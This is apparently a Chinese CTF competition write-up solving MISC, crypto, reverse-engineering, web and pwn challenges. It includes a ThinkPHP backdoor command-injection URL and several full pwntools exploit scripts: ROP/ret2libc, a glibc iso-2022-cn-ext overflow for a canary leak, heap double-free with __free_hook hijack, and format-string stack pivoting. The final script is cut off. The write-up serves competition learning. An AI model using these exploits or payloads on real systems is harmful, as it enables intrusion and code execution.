本来想最后十分钟偷别人的塔没成想最后一分钟被人偷塔了,喜提第二QaQ
AgAABTzvg-V_H3RFbN1JHomFe2TiZxnz.png

MISC

你是我的眼

将程序拖入jadx中,查看main函数
5dc6b6a9f3e11fce71a4b9a59d037d5f.png
将-替换为/base64解密
35f9ac1b24b77facce8ba6cc5228d7e6.png

二维码拼图

没什么说的,直接手动在线拼图
10694f977fb29a4a20cb0fbda7893486.png

SignIn

打开他给的网站
https://qrcode.antfu.me/
点击verify上传附件图片进行验证
一直点击 random tries和narrow down,每次会获得不同的flag片段,拼起来得到flag
e5e444e57e344624578cf887a2be316c.png
b4d0b658345edc05bba17537bc8798a8.png
e7987fdd456251e0af0218659a9758db.png

crypto

奇怪的条形码

flag_here.png
把电脑盖子对着眼睛即可得到flag

简单密码

将密文分为两个一组,观察到偏后的十六进制数比较大,猜测是要减去i(i为第几个十六进制数)

1
647669776d757e83817372816e707479707c888789757c92788d84838b878d9d
1
2
3
4
5
6
7
8
9
10
11
12
hex_string = "647669776d757e83817372816e707479707c888789757c92788d84838b878d9d"

# 将十六进制字符串转换为整数列表
hex_values = [int(hex_string[i:i+2], 16) for i in range(0, len(hex_string), 2)]

# 生成调整后的值
adjusted_values = [value - i-1 for i, value in enumerate(hex_values)]

# 将调整后的值转换为字符并组合成最终的字符串
decoded_string = ''.join(chr(value) for value in adjusted_values)

print(decoded_string)

factor

factordb秒了
8de4e97a05cffd3ece380af98149a89a.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from Crypto.Util.number import inverse, long_to_bytes
p = 10901899434728393473569359914062349292412269512201554924835672710780357314223209262466102457697460432424101968655028724203256351586952677194451591494555863
q = 13342820281239625174817085182586822673810894195223942279061039858850820238924757629478502588722905946742147654397240559596444430114180174785691409037959681
n = 145462084881728813723574366340552281785604069047381248513937024180816353963950721541845665931261230969450819680771925091152670386983240444354412170994932196142227905635227116456476835756039585419001941477905953429642459464112871080459522266599791339252614674500304621383776590313803782107531212756620796159703
e = 10463348796391625387419351013660920157452350067191419373870543363741187885528042168135531161031114295856009050029737547684735896660393845515549071092389128688718675573348847489182651631515852744312955427364280891600765444324519789452014742590962030936762237037273839906251320666705879080373711858513235704113
c = 60700608730139668338977678601901211800978306010063875269252006068222163102100346920465298044880066999492746508990629867396189713753873657197546664480233269806308415874191048149900822050054539774370134460339681949131037133783273410066318511508768512778132786573893529705068680583697574367357381635982316477364

# Step 1: Calculate φ(n)
phi_n = (p - 1) * (q - 1)

# Step 2: Calculate private key d
d = inverse(e, phi_n)

# Step 3: Decrypt c to get m
m = pow(c, d, n)

# Convert m to bytes to get the plaintext
plaintext = long_to_bytes(m)
print(plaintext)

混合密码体系

用了多种加密,直接让gpt写脚本即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from Crypto.Util.number import long_to_bytes, inverse
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# Given values
c1 = 10274623386006297478525964130173470046355982953419353351509177330015001060887455252482567718546651504491658563014875
p = 126682770761631193509957156425049279522830651950325320826580754739365086374362604934854454428815835196844469535588686149210573266628767888593088817059600076401582225549728184309047483547810100015820325082976781284679340880386138390518973395696206374336712856387090369022746536868747455939074262253452873845903
q = 99825079362327808334563489684167271427241139432727401182808888165552821217781929397837262324242177528386988701584385208395369790542025175917752058047649096340776854252623173162664426065810683048016574420043010318337693586527652970534982946701493024718805916479479658257730226388868060010370893747360166996939
n = 12646117645119414744807511144503229609414192869007113075368323921021672404219693075011763838210400633721060798765473421092201704833591315689681668160927426685183273670665030724394172000165517517884654100267567861284096827407481978978840602383267875832034344793848710383473014512122260278131503985961857107838296047172582364612603344429943715046318283653354068887129071531081918798285138812386418361474496678248683513378861801570673376726388110813411011818940310547686977359605296489433805717348250520973842927175837164120905300831792358190183785344002217291207378744610039145999012939983693891188308725179098958690917
c2 = 5211902378262010726785508340196935051860438587769647187076059600864676774592415052428465708887047312982844957691943180258845015420187239772414768121857728821510440178906193308448250067671679439841031484589864038401572589752057423667532898133171822921282769652197139455317095891357335645435094243006629469245881345449943250189771998449015275390517315432969774421721243965028796050948747282387052634211032729131656214346307483397410725129682422969273915759947596313513270946529649661334582775282060624547405060499311618257517792321792697831000977711752728887999320311631022598717946355057272761740061999974856808147244
iv = b'flag{1fake_flag}' # AES initialization vector

# RSA Decryption to retrieve AES key
d = inverse(0x10001, (p - 1) * (q - 1))
m = pow(c2, d, n)
key = long_to_bytes(m)

# AES Decryption to retrieve the flag
cipher = AES.new(key, AES.MODE_CBC, iv)
ciphertext_bytes = long_to_bytes(c1)
plaintext_padded = cipher.decrypt(ciphertext_bytes)
flag = unpad(plaintext_padded, AES.block_size)

print(f'Flag: {flag.decode("utf-8")}')

RE

pe

pe头缺失,运行不了,但是直接拖进ida中可以获得明文flag
9fecd08e37fdb3dabbeff13cae8764ab.png

一个西瓜切两半你一半我一半

这个直接用uncompyle6进行反编译pyc文件可得flag
ce1e2c5b7a428caf11ba8e3f4f342b32.png
这里有个key,很明显是附件txt中的一个西瓜切两半你一半我一半,编写解密脚本

1
2
3
4
5
6
7
8
9
10
pythonflag = ""
key = "一个西瓜切两半你一半我一半"
result = "乃乾觅甯剏乳厡侻丨厏扝乌博丿乜规甲剌乶厝侥丿卻扚丠厘丿乎覟瓬剤"
tmp = ""
for i in range(len(result)):
tmp+=chr(ord(result[i]) - ord(key[i % len(key)]))
for i in tmp:
flag += chr(ord(i) + 32)
print(flag)
print(flag)

easy_re

拿到ida中反编译
13e59f8e88658bb0835c085bd5b66863.png
可以看到这里输入先是拿到了decrypt函数中解密code,然后执行解密后的字节码
这里我盲猜解密后的字节码是明文存储flag的,因此,直接爆破三位英文字母然后匹配ctfshow字样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def decrypt(code, string):
decrypted_string = []
for i in range(len(code)): # 因为字符串是三位的
decrypted_char = (~(ord(string[i % 3]))) ^ code[i]
decrypted_string.append(chr(decrypted_char & 0xFF))
return "".join(decrypted_string)

# 给定的目标解密结果中包含的子字符串
target_substring = "ctfshow"

# 尝试所有可能的三位字母组合
for i in range(26): # 第一个字母
for j in range(26): # 第二个字母
for k in range(26): # 第三个字母
key = [ord('a') + i, ord('a') + j, ord('a') + k]
code = [0x6D,0x97,0x86,0x85,0x97,0xDE,0xA8,0x92,0x86,0x85,0x97,0x0F,0x42,0x7F,0x80,0x85,0x97,0x86,0x6D,0x76,0x86,0x85,0x97,0x45,0xD0,0x1E,0x63,0x06,0x7B,0x96,0x6D,0xCC,0x87,0x85,0x97,0x0F,0x81,0xB3,0x3E,0xEB,0x97,0x86,0x85,0x96,0x7E,0x0C,0xD3,0xA2,0x81,0x7F,0xDA,0x84,0x97,0x86,0x3E,0xEC,0x86,0x85,0x97,0x87,0x7E,0x1E,0x85,0x3D,0xE8,0x86,0x85,0x97,0x87,0x7D,0x1E,0x82,0xA1,0x7F,0x5D,0x85,0x97,0x86,0x0C,0x93,0xA2,0x3D,0x11,0x86,0x85,0x97,0x87,0x7D,0x1E,0xC2,0xA1,0x93,0x6E,0xB4,0x96,0x86,0x85,0x2C,0x14,0x85,0x97,0x86,0x84,0x6C,0x0F,0x86,0x1E,0x6A,0xD8,0x54,0xCA,0xEA,0xF6,0xE2,0xC9,0xFE,0xE4,0xF7,0xF6,0xF4,0xFC,0xD6,0x86,0x85,0x97,0x86,0x85,0xE2,0xF5,0xE0,0xE5,0xB5,0xB7,0x97,0xCB,0xE0,0xE4,0xF5,0xE4,0xF0,0xE3,0xC7,0xF8,0xFE,0xC4,0x97,0x86,0x85,0x97,0x86,0xD0,0x1E,0x63,0x06,0x7B,0x96,0x0E,0xD2,0x8E,0x0C,0x93,0xA2,0x0E,0xD2,0x8A,0x0C,0xD3,0xA2,0x81,0x1C,0xC3,0x95,0x1E,0xC2,0xA1,0x9F,0x0D,0xC0,0x83,0x0F,0xC1,0xB3,0x8A,0x3D,0x05,0x86,0x85,0x97,0x87,0x7D,0x1C,0x86,0x7A,0x47,0x0F,0x69,0xCA,0x45,0xF6,0xF2,0xE5,0xE6,0xE2,0xF5,0xF6,0x97,0xE5,0xF1,0xF1,0xF5,0xED,0xF8,0xF1,0xFE,0xF4,0xE7,0xE3,0xA4,0xB7,0xB1,0xAE,0xB4,0xB5,0xA3,0xE7,0xE4,0xA0,0xE2,0xE1,0xA2,0xBE,0xE4,0xF1,0xBE,0xB4,0xA4,0xB0,0xBC,0xA7,0xB2,0xB3,0xF6,0xB5,0xE4,0xF4,0xB0,0xF8,0x97,0xD3,0x0C,0x72,0x05,0x69,0x87,0x3E,0x85,0x97,0x86,0x85,0x1E,0x82,0xA1,0x1E,0xC2,0xA1,0x9B,0x3E,0x43,0x97,0x86,0x85,0x96,0x7E,0x0C,0xD3,0xA2,0x8D,0x2F,0x48,0x85,0x97,0x86,0x84,0x6F,0x0F,0xC1,0xB3,0x82,0x6D,0xE6,0x79,0x7A,0x68,0x0F,0x69,0xCA,0x45,0xD0,0x1E,0x63,0x06,0x7B,0x96,0x3C,0xEC,0x86,0x85,0x97,0x87,0x7C,0x1C,0x8F,0x0E,0xD2,0x8E,0x0C,0x93,0xA2,0x7A,0x46,0x0F,0x69,0xCA,0x45,0xD0,0x1E,0x63,0x06,0x7B,0x86,0x0E,0xD2,0x8E,0x0E,0xCA,0x8A,0x0F,0x97,0x0C,0x9E,0xAF,0x5E,0xF0,0x83,0xBA,0x85,0xE3,0x9F,0x0E,0xD2,0x8E,0x0E,0xCA,0x8A,0xC5,0xD4,0x0F,0xC0,0x9F,0x0F,0xD8,0x9B,0x6D,0x5B,0x2F,0x86,0x85,0x97,0x86,0x0C,0x7B,0xDB,0x46,0x2F,0x87,0x85,0x97,0x86,0x0C,0x7B,0xDB,0x46,0xF3,0x27,0xB5,0x97,0x86,0x85,0x1C,0xC6,0x89,0x1C,0xC6,0x91,0x1C,0x86,0x0E,0x97,0x0D,0xC5,0x87,0x45,0xD0,0x1E,0x63,0x06,0x7B,0xAE,0x0E,0xD2,0x8E,0x06,0x57,0xBA,0x0E,0x97,0x0D,0xD8,0x9F,0x87,0x5D,0x14,0x46,0x9D,0x1C,0xDB,0x8D,0x14,0x46,0xE5,0x1C,0x86,0x0E,0xCA,0x8E,0x84,0x4F,0x0F,0xC0,0x6B,0x05,0x45,0x8F,0x0D,0x85,0x1E,0xC3,0x6D,0x1C,0xC3,0x79,0x14,0x46,0x99,0x1C,0x86,0x0E,0xCA,0x8E,0x84,0x4F,0x0F,0xC0,0x67,0x0D,0xC0,0x6B,0x05,0x45,0xB7,0x0D,0x85,0x1C,0xDB,0x8D,0x96,0x5E,0x0C,0xD2,0x6A,0x0E,0xD2,0x7A,0x06,0x57,0xA2,0x0E,0x97,0x0D,0xD8,0x9F,0x87,0x5D,0x1E,0xC3,0x71,0x2F,0x86,0x85,0x97,0x86,0x0C,0xD2,0x7E,0x0E,0xD2,0x6E,0x06,0x6F,0x86,0xF1,0xA0,0x0D,0xC0,0x7B,0x0D,0x85,0x1C,0xDB,0x8D,0x96,0x5E,0x0C,0x93,0xA2,0x0E,0xD2,0x8A,0x0C,0xD3,0xA2,0x81,0x7F,0xAD,0x7A,0x68,0x79,0x06,0x6F,0x87,0xF1,0xB5,0x0D,0xC0,0x7B,0x05,0x45,0x93,0x0F,0xC0,0x7B,0x0D,0xC0,0x7F,0xCE,0x0C,0xD2,0x6E,0x0E,0xD2,0x7E,0xC5,0x1E,0xC3,0x7D,0x7C,0x47,0x3D,0x97,0x86,0x85,0x97,0x0F,0x69,0xCA,0x45,0x0E,0xD2,0x7E,0x3E,0x95,0x86,0x85,0x97,0x71,0x66,0x1C,0xDB,0x71,0x96,0x5E,0x3E,0x97,0x86,0x85,0x97,0xE0,0x0E,0x8F,0x3E,0x81,0x97,0x86,0x85,0x60,0x65,0x0E,0xCA,0x76,0x84,0x4F,0x0D,0x85,0x1C,0xDB,0x8D,0x96,0x5E,0x0C,0x7B,0xDB,0x46]
res = decrypt(code, "".join(map(chr, key)))
if target_substring in res:
print("Found key:", "".join(map(chr, key)))
print("Decrypted result:", res)
exit()

探索进制的奥秘

如题,十六进制转10进制
cb0a7682e9a8985f8f329f3d6ace67e9.png

1
2
3
4
5
6
7
8
9
10
11
12
13
hex_string = "647669776d757e83817372816e707479707c888789757c92788d84838b878d9d"

# 将十六进制字符串转换为整数列表
hex_values = [int(hex_string[i:i+2], 16) for i in range(0, len(hex_string), 2)]

# 生成调整后的值
adjusted_values = [value - i-1 for i, value in enumerate(hex_values)]

# 将调整后的值转换为字符并组合成最终的字符串
decoded_string = ''.join(chr(value) for value in adjusted_values)

print(decoded_string)

E

放入ida中查看
f4db475d5cac11d14c88d2de68dedcaa.png
看到这里有疑似base64编码的内容
05e50561268681983ba4c76ea3ec4181.png
成功解出flag

WEB

CodeInject

签到题,没什么好说的
c823cd92ebbc063f829ad3f4f744bd55.png

tpdoor

代码审计,发现可以操控request_cache_key
624be17af690656718296c0239b60992.png
全局搜索request_cache_key2a6ea8bb9713c065af7c714e311ffaaf.png
查看./vendor/topthink/framework/src/think/middleware/CheckRequestCache.php
b08e9d0da110a4efbc46ee1d8d09dd72.png
发现这里将request_cache_key一分为二,| 标识符前面的是key,后面的是fun
往下看
53eed825f1f73f2f6744366906d851c9.png
这里居然直接执行fun|key,那么我们就可以传这样的参数读取flag
https://7876945b-30c2-47b7-8bde-b7d27cbefbbb.challenge.ctf.show/?isCache=cat%20/000f1ag.txt|system
05ac54eb19490b9abf3a358f0031e425.png

easy_polluted

原题,python原型链污染,可以参考大佬博客,我比赛的时候直接按照博客里的步骤,把%改成#就打通了233
大佬博客:https://www.cnblogs.com/gxngxngxn/p/18264279

PWN

嘘嘘嘘

8a65120f17cda80b1a2eab84968a8714.png
这里大致的逻辑就是读一个数,然后根据这个偏移输出一些数据,然后再读一个数,根据偏移来读入数据
最后执行一个结构体0x10处储存的函数
我们发现读入偏移的时候居然可以读入负数造成越界读,那么我们首先读入负数泄露elf程序基址,然后写入那个结构体保存函数指针的位置为exec函数在.data.rel.ro段中的地址,同时传入0x1234使其满足判断条件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
#context.arch='amd64'
context.log_level = 'debug'
io=process("./xxx")
#io=remote("pwn.challenge.ctf.show",28240)
elf=ELF("./xxx")
r = lambda : io.recv()
rx = lambda x: io.recv(x)
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
uu64= lambda : u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
uu32= lambda : u32(io.recvuntil("\xf7")[-4:])
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
shell = lambda : io.interactive()
libc=elf.libc

gdb.attach(io)
s(b'\xf4\xff\xff\xff')
pause()
s(b'\x2c\x00\x00\x00')
leak_addr=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(leak_addr))
elf_base=leak_addr-0x3da8
print(hex(elf_base))
exec=elf_base+0x12b0
pause()
s(b'\xf4\xff\xff\xff')
pause()
s(b'\x20\x00\x00\x00')
s(p64(elf_base+0x3da8-0x10)+p32(0x1234)+b'/bin/sh\x00')
shell()

没主意了

赛后发现show函数有个格式化字符串漏洞,可怜我比赛时根本没往这方面想,一直研究那个realpath从而错失良机QwQ

Do_it!

dffb9e152071e3d9f2861e8ee69ea4dd.png
这里很明显有越界写漏洞,但是只能执行两次,怎么办呢?
改函数的返回地址肯定是来不及,那么我们考虑劫持main函数的返回地址,于是:第一次越界写改函数的返回地址为main函数中call这个函数的地址0x40130A,第二次在我们main函数的返回地址处写rop链,接下来一直重复即可
cb80ce0ca73e5f82590c6d620fbb6dad.png
正常打ret2libc即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
#context.arch='amd64'
context.log_level = 'debug'
#io=process("./di")
io=remote("pwn.challenge.ctf.show",28297)
elf=ELF("./di")
r = lambda : io.recv()
rx = lambda x: io.recv(x)
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
uu64= lambda : u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
uu32= lambda : u32(io.recvuntil("\xf7")[-4:])
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
shell = lambda : io.interactive()
libc=ELF("libc-2.30.so")


rdi=0x401383
ret=0x40101a

sl(str(int(0x2f62696e2f7368)))
pause()
sl(b'13')
sl(str(int(0x40130a)))

sl(b'17')
sl(str(int(rdi)))

sl(str(int(0x2f62696e2f7368)))
sl(b'13')
sl(str(int(0x40130a)))
sl(b'18')
sl(str(int(elf.got['puts'])))

sl(str(int(0x2f62696e2f7368)))
sl(b'13')
sl(str(int(0x40130A)))
sl(b'19')
sl(str(int(elf.plt['puts'])))

sl(str(int(0x2f62696e2f7368)))
sl(b'20')
sl(str(int(0x4010d0)))
sl(b'20')
sl(str(int(0x4010d0)))
puts_addr=uu64()
libc_base=puts_addr-libc.sym['puts']
print(hex(libc_base))
system=libc_base+libc.sym['system']
sh=libc_base+next(libc.search(b'/bin/sh\x00'))

sl(str(int(0x2f62696e2f7368)))
sl(b'13')
sl(str(int(0x40130a)))
sl(b'17')
sl(str(int(rdi)))

sl(str(int(0x2f62696e2f7368)))
sl(b'13')
sl(str(int(0x40130a)))
sl(b'18')
sl(str(int(sh)))

sl(str(int(0x2f62696e2f7368)))
sl(b'13')
sl(str(int(0x40130a)))
sl(b'19')
sl(str(int(ret)))

sl(str(int(0x2f62696e2f7368)))
sl(b'20')
sl(str(int(system)))
sl(b'20')
sl(str(int(system)))

shell()

Echo

在iso-2022-cn-ext.c中有如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
// iconvdata/iso-2022-cn-ext.c

/* See whether we have to emit an escape sequence. */
if (set != used)
{
/* First see whether we announced that we use this
character set. */
if ((used & SO_mask) != 0 && (ann & SO_ann) != (used << 8)) // [1]
{
const char *escseq;

if (outptr + 4 > outend) // <-------------------- BOUND CHECK
{
result = __GCONV_FULL_OUTPUT;
break;
}

assert(used >= 1 && used <= 4);
escseq = ")A\0\0)G)E" + (used - 1) * 2;
*outptr++ = ESC;
*outptr++ = '$';
*outptr++ = *escseq++;
*outptr++ = *escseq++;

ann = (ann & ~SO_ann) | (used << 8);
}
else if ((used & SS2_mask) != 0 && (ann & SS2_ann) != (used << 8)) // [2]
{
const char *escseq;

// <-------------------- NO BOUND CHECK

assert(used == CNS11643_2_set); /* XXX */
escseq = "*H";
*outptr++ = ESC;
*outptr++ = '$';
*outptr++ = *escseq++;
*outptr++ = *escseq++;

ann = (ann & ~SS2_ann) | (used << 8);
}
else if ((used & SS3_mask) != 0 && (ann & SS3_ann) != (used << 8)) // [3]
{
const char *escseq;

// <-------------------- NO BOUND CHECK

assert((used >> 5) >= 3 && (used >> 5) <= 7);
escseq = "+I+J+K+L+M" + ((used >> 5) - 3) * 2;
*outptr++ = ESC;
*outptr++ = '$';
*outptr++ = *escseq++;
*outptr++ = *escseq++;

ann = (ann & ~SS3_ann) | (used << 8);
}
}

当需要进行字符集切换时会发出转移序列,其中,程序仅仅检查了第一个块的转移序列,并未对大小为2或3的转移序列进行检查
因此,我们可以利用这一点进行利用。
2626c09318cc7b21113fc34652aeeb2e.png

回到题目,我们发现这里输入最多可以输入0x38的大小,然而查阅得知,iconv的输出长度参数soutput只有0x26,而且s到canary的距离是0x28,所以这里我们的思路是前面填充垃圾数据,最后触发长度为3字节的转义序列,填充剩下的两位以及canary的末位,从而在接下来的输出中泄露canary。
䂚这个字就可以触发三字节的转移序列,因此,我们首先填充0x25字节的垃圾数据,接着填充䂚这个字,发生栈溢出,读到canary后最后打ret2libc即可。
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
#context.arch='amd64'
context.log_level = 'debug'
#io=process("./vuln")
io=remote("124.223.172.67",10009)
elf=ELF("./echo")
r = lambda : io.recv()
rx = lambda x: io.recv(x)
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
uu64= lambda : u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
uu32= lambda : u32(io.recvuntil("\xf7")[-4:])
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
shell = lambda : io.interactive()
libc=ELF("./libc-2.27.so")
#gdb.attach(io)

s('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa䂚')
ru(b'\x4a')
canary=u64(rx(7).rjust(8,b'\x00'))
print(hex(canary))
rdi=0x401493
ret=0x40101a
sl(b'a'*0x28+p64(canary)+p64(0)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(elf.sym['main']))
puts_addr=uu64()
libc_base=puts_addr-libc.sym['puts']
print(hex(libc_base))
sl(b'1')
system=libc_base+libc.sym['system']
sh=libc_base+next(libc.search(b"/bin/sh\x00"))
sl(b'a'*0x28+p64(canary)+p64(0)+p64(rdi)+p64(sh)+p64(ret)+p64(system))
shell()

Large_watermelon

21251866cf85577777117205c94eb620.png
程序只有add和delete功能,看来爆破stdout是免不了了
a02d1938a033dad42fd8e7f200954b2f.png
delete处有uaf漏洞
那么我们首先double free,将同一个堆块两次放入tcache中
,接着申请相同大小的堆块,内容为heap_addr-0x10,这样就构造出了堆块交叉,像这样
ebdb71a2e8760275db573c2f58a9193a.png
接着申请一堆堆块,并且将第一块的size精心计算好的unsortedbins大小,接着释放0,将堆块放入到unsortedbin中去
51bbaec742c196853fa4108784225183.png
然后故技重施,继续double free,然后申请一块chunk,让unsortedbins的残留地址下移到doublefree的地方,接着申请出之前doublefree的一块堆块,将其最后两位改成\x60\x17,这是stdout的地址,但是由于1kb对齐,我们需要爆破这个最高字节,因此脚本打通的成功率是1/16
接着将stdout的前几个字节改成p64(0xfbad1800)+p64(0)*3+b”\x58”即可正常输出消息了,接下来就是常规的打free_hook了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
#context.arch='amd64'
context.log_level = 'debug'
#io=process("./wtml")
io=remote("pwn.challenge.ctf.show",28168)
elf=ELF("./wtml")
r = lambda : io.recv()
rx = lambda x: io.recv(x)
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
uu64= lambda : u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
uu32= lambda : u32(io.recvuntil("\xf7")[-4:])
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
shell = lambda : io.interactive()
libc=elf.libc

def add(idx,size,content):
sla("choice > ",b'1')
sla("index",str(idx))
sla("size",str(size))
sa("taste",content)

def delete(idx):
sla("choice > ",b'2')
sla("index",str(idx))

#gdb.attach(io)

add(0,0x78,b'aaaa')
ru("Watermelon :0x")
leak_addr=int(rx(12),16)
print(hex(leak_addr))
delete(0)
delete(0)
add(1,0x78,p64(leak_addr-0x10))
add(2,0x78,b'aaaa')
for i in range(3,14):
add(i,0x68,b'aaaa')
add(14,0x78,p64(0)+p64(0x4e1))
delete(0)
delete(7)
delete(3)
delete(3)
add(15,0x78,b'aaaa')
add(16,0x28,b'\x60\x17')
#add(16,0x28,b'\x60\x07\x97')
add(17,0x68,b'a'*0x8)
add(18,0x68, p64(0xfbad1800)+p64(0)*3+b"\x58")
leak_addr=uu64()
libc_base = leak_addr-libc.sym["_IO_file_jumps"]
print(hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
one=libc_base+0x4f322
add(19,0x18,b'a'*0x8)
delete(19)
delete(19)
add(20,0x18,p64(free_hook))
add(21,0x18,b'aaaa')
add(22,0x18,p64(one))
delete(22)
shell()

一个又一个

有次数限制的格式化字符串漏洞思路是在bss段上布置rop链,然后栈迁移到bss上
因为有close(1)通过修改stdout为stderr即可显示输出
最后orw即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
from pwn import *

# from pwncli import *
context(arch='amd64', log_level='debug')


def pwn():
# gdb.attach(p)
libc = ELF('./libc-2.27.so')
io_stderr_addr = libc.symbols['_IO_2_1_stderr_']
print('io_stderr_addr------------>', hex(io_stderr_addr))
print(hex(leak_addr))
print_ret_addr = leak_addr - 0x20
print('print_ret_addr-------->', hex(print_ret_addr))
'''构造栈链,第一次构造一个指向buf的栈地址'''
leak = (leak_addr) & 0xff
print(hex(leak))
payload = '%' + str(leak) + 'c%6$hhn'
sl(payload)
rsp_addr = 0xc5d

'''第二次通过指向buf的栈地址,将buf修改为stdout'''
# pause()
sleep(0.2)
payload = '%' + str(0x20) + 'c%10$hhn'
sl(payload)

'''第三次通过stdout将_IO_2_1_stdout_改成_IO_2_1_stderr_值,此时需要爆破倒数第二字节的前半字节,猜测为0,概率1/16'''
# pause()
sleep(0.2)
stderr = io_stderr_addr & 0xfff
print('stderr------------>', hex(stderr))
payload = '%' + str(stderr) + 'c%9$hn'
sl(payload)

'''下面来判断是否将stdout指向的值改写成stderr指向的值'''
sl('aaaaaaa')
try:
x = io.recvuntil('aa', timeout=0.5)
except:
return
if b'aa' not in x:
print('XXXXXX')
return 1
else:
print('success-----------------------------------------')
pause()
#gdb.attach(p)
payload = '%19$p%15$p%6$p'
sl(payload.ljust(0x12c - 1, '\x00'))
# pause()
sleep(0.2)
io.recvuntil('\x78')
main_addr = int(io.recv(12), 16)
# main_addr=u64(io.recv(6).ljust(8,'\x00'))
print('main_addr---------->', hex(main_addr))
base_addr = main_addr - 0xbbb
print('base_addr---------->', hex(base_addr))
pause()
io.recvuntil('\x78')
leak_libc = int(io.recv(12), 16)
print('leak_libc------------->', hex(leak_libc))
libc_base = leak_libc - 0x21b97
print('libc_base--------->', hex(libc_base))
io.recvuntil('\x78')
rsp_hook = int(io.recv(12), 16)
print('rsp_hook---------->', hex(rsp_hook))

rsp_addr = rsp_addr + base_addr
print('rsp_addr----------------------->', hex(rsp_addr))
rsp_addr = rsp_addr & 0xffff
print('rsp_addr----------------------->', hex(rsp_addr))
# pause()
sleep(0.2)
hook1 = (rsp_hook + 8) & 0xff
print('hook1------------->', hex(hook1))
payload = '%' + str(hook1) + 'c%6$hhn'
sl(payload.ljust(0x12c - 1, '\x00'))
sleep(0.2)
# pause()

# 将menu函数的返回地址修改成pop rsp
payload = '%' + str(rsp_addr) + 'c%10$hn'
sl(payload.ljust(0x12c - 1, '\x00'))

# 写入bss段指针
bss_hook = rsp_hook + 0x10

# 布置迁移地址bss_addr+0x10 因为bss要存放d^3CTF and flag
sleep(0.2)
# pause()
print("bss_hook1------------->", hex(bss_hook))
payload = '%' + str((bss_hook & 0xffff)) + 'c%6$hhn'
sl(payload.ljust(0x12c - 1, '\x00'))
sleep(0.2)
# pause()
bss_addr = base_addr + 0x202060
print("bss1_addr------------->", hex(bss_addr & 0xffff))
payload = '%' + str((bss_addr + 0x10) & 0xffff) + 'c%10$hn'
sl(payload.ljust(0x12c - 1, '\x00'))

sleep(0.2)
# pause()
bss_hook = bss_hook + 2
print('bss_hook2-------------->', hex(bss_hook))
payload = '%' + str((bss_hook & 0xffff)) + 'c%6$hhn'
sl(payload.ljust(0x12c - 1, '\x00'))
sleep(0.2)
# pause()
print("bss2_addr------------->", hex((bss_addr >> 16) & 0xffff))
payload = '%' + str(((bss_addr) >> 16) & 0xffff) + 'c%10$hn'
sl(payload.ljust(0x12c - 1, '\x00'))

sleep(0.2)
# pause()
bss_hook = bss_hook + 2
print('bss_hook3-------------->', hex(bss_hook))
payload = '%' + str((bss_hook & 0xffff)) + 'c%6$hhn'
sl(payload.ljust(0x12c - 1, '\x00'))
sleep(0.2)
# pause()
print("bss2_addr------------->", hex((bss_addr >> 32) & 0xffff))
payload = '%' + str(((bss_addr) >> 32) & 0xffff) + 'c%10$hn'
sl(payload.ljust(0x12c - 1, '\x00'))


pop_rdx_addr = 0x1b96 + libc_base
pop_rdi_addr = base_addr + 0xc63
pop_rsi_r15_addr = base_addr + 0xc61
read_addr = libc_base+libc.sym['read']
write_addr = libc_base + libc.sym['write']
